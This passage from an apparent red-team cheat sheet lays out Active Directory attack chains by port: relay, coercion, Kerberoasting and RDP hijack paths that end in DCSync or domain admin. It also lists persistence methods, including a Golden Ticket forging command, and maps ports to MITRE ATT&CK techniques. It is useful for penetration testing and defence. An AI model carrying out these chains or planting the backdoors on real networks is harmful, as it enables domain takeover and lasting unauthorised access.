# Port 389 (enum SPNs) → Port 88 (TGS request) → offline crack → use creds

# PATH 2: LLMNR Poison → Relay → RBCD → DA
# Port 137 (Responder) → Port 389 (ntlmrelayx) → RBCD write → S4U2Proxy → DCSync

# PATH 3: Coerce DC → Relay to ADCS → Cert → TGT → DCSync
# Port 135 (PetitPotam) → Port 443/80 (certsrv) → get cert → Port 88 (TGT) → Port 49152+ (DCSync)

# PATH 4: MSSQL → xp_cmdshell → beacon → DCSync
# Port 1433 (mssqlclient) → xp_cmdshell → drop beacon → Port 49152+ (DCSync)

# PATH 5: DHCPv6 Poison → DNS WPAD → NTLM Relay → LDAPS → DA
# Port 547 (mitm6) → Port 80 (WPAD NTLM) → Port 636 (Shadow Creds) → Port 88 (TGT) → DA

# PATH 6: RDP Session Hijack → DA session taken without password
# Port 3389 (RDP access) → SYSTEM via local priv esc → tscon DA session → DA!

# ==========================================
# PERSISTENCE (by port/mechanism)
# ==========================================

# Golden Ticket (Port 88 - Kerberos forgery)
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-... -domain corp.local Administrator
# Valid for 10 years by default!

# ADFS Golden SAML (Port 49443)
# Steal ADFS token signing cert → forge SAML → access O365 forever

# DNSAdmins DLL (Port 53)
# Load DLL into DNS service → survives DNS service restarts

# GPO Scheduled Task (Port 389/445/SYSVOL)
# SharpGPOAbuse → add task to GPO → executes on every machine/reboot

# WinRM persistence (Port 5985)
# evil-winrm → add backdoor user / SSH authorized key

# ==========================================
# MITRE ATT&CK MAPPING (PORT → TTP)
# ==========================================

# Port 21    → T1071.002  FTP Data Transfer
# Port 22    → T1021.004  Remote Services: SSH
# Port 23    → T1021      Remote Services: Telnet (Legacy)
# Port 25    → T1566.001  Phishing via SMTP
# Port 53    → T1071.004  DNS C2 / T1543.003 DNSAdmins DLL
# Port 80    → T1071.001  HTTP C2 / T1190 Exploit Public App
# Port 88    → T1558.003  Kerberoasting / T1558.004 AS-REP / T1558.001 Golden
# Port 135   → T1021.003  DCOM Exec / T1187 Coerced Auth
# Port 137   → T1557.001  LLMNR Poisoning / T1040 Network Sniff
# Port 139   → T1135      Network Share Enum
# Port 161   → T1040      SNMP Sniff / T1082 System Info
# Port 389   → T1087.002  Domain Account Enum / T1557 Relay
# Port 445   → T1021.002  SMB Lateral / T1550.002 PtH / T1557.001 Relay
# Port 464   → T1098      Account Manipulation
# Port 547   → T1557      AiTM via DHCPv6
# Port 1433  → T1505.001  SQL Stored Proc / T1187 Forced Auth
# Port 3268  → T1087.002  Domain Enum Forest-Wide
# Port 3389  → T1021.001  RDP / T1563.002 Session Hijack
# Port 5985  → T1021.006  WinRM
# Port 9389  → T1087.002  AD Enumeration via ADWS
# Port 49443 → T1606.002  Golden SAML Forgery
# Port 49152+→ T1003.006  DCSync / T1210 Exploit RPC / T1543 ZeroLogon